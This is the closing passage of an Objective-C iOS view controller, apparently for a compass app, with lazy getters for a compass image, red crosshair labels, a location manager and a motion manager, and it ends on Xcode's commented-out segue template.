- (UIImageView *)compassImage {
    if (!_compassImage) {
        _compassImage = [[UIImageView alloc] initWithFrame:CGRectMake(0, 0, 80*kWidthValue, 80*kWidthValue)];
        _compassImage.center = CGPointMake(self.compassView.frame.size.width/2, self.compassView.frame.size.height/2);
        _compassImage.image = [UIImage imageNamed:@"compass22"];
    }
    return _compassImage;
}

- (UILabel *)verticalLabel {
    if (!_verticalLabel) {
        _verticalLabel = [[UILabel alloc] initWithFrame:CGRectMake(0, 0, 1.0, FC_SCREEN_WIDTH - 9*kWidthValue)];
        _verticalLabel.center = CGPointMake(FC_SCREEN_WIDTH/2, FC_SCREEN_WIDTH/2);
        _verticalLabel.backgroundColor = [UIColor redColor];
    }
    return _verticalLabel;
}

- (UILabel *)horizonLabel {
    if (!_horizonLabel) {
        _horizonLabel = [[UILabel alloc] initWithFrame:CGRectMake(0, 0, FC_SCREEN_WIDTH - 9*kWidthValue, 1.0)];
        _horizonLabel.center = CGPointMake(FC_SCREEN_WIDTH/2, FC_SCREEN_WIDTH/2);
        _horizonLabel.backgroundColor = [UIColor redColor];
    }
    return _horizonLabel;
}

- (CLLocationManager *)locManager {
    if (!_locManager) {
        _locManager = [[CLLocationManager alloc] init];
        _locManager.delegate = self;
    }
    return _locManager;
}

- (CMMotionManager *)motionManager {
    if (!_motionManager) {
        _motionManager = [[CMMotionManager alloc] init];
    }
    return _motionManager;
}

/*
#pragma mark - Navigation

// In a storyboard-based application, you will often want to do a little preparation before navigation
- (void)prepareForSegue:(UIStoryboardSegue *)segue sender:(id)sender {
    // Get the new view controller using [segue destinationViewController].
    // Pass the selected object to the new view controller.
}
*/

@end
